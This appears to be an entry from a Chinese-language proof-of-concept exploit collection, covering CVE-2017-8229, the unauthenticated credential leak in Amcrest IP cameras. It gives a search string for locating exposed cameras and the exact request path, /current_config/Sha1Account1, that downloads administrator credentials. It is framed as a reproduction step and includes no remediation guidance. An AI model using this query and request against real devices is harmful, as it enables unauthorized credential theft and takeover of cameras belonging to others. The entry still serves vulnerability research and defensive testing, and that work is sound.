Awesome-POC/网络设备漏洞/Amcrest IP Camera Web Sha1Account1 账号密码泄漏漏洞 CVE-2017-8229.md
2024-11-06 14:10:36 +08:00

31 lines
519 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Amcrest IP Camera Web Sha1Account1 账号密码泄漏漏洞 CVE-2017-8229
## 漏洞描述
Amcrest IP Camera Web是Amcrest公司的一款无线IP摄像头设备允许未经身份验证的攻击者下载管理凭据。
## 漏洞影响
```
Amcrest Technologies. Amcrest IP Camera Web all
```
## 网络测绘
```
"Amcrest"
```
## 漏洞复现
登录页面
![image-20220519161504045](images/202205191616449.png)
POC
```
/current_config/Sha1Account1
```
![image-20220519161546887](images/202205191616340.png)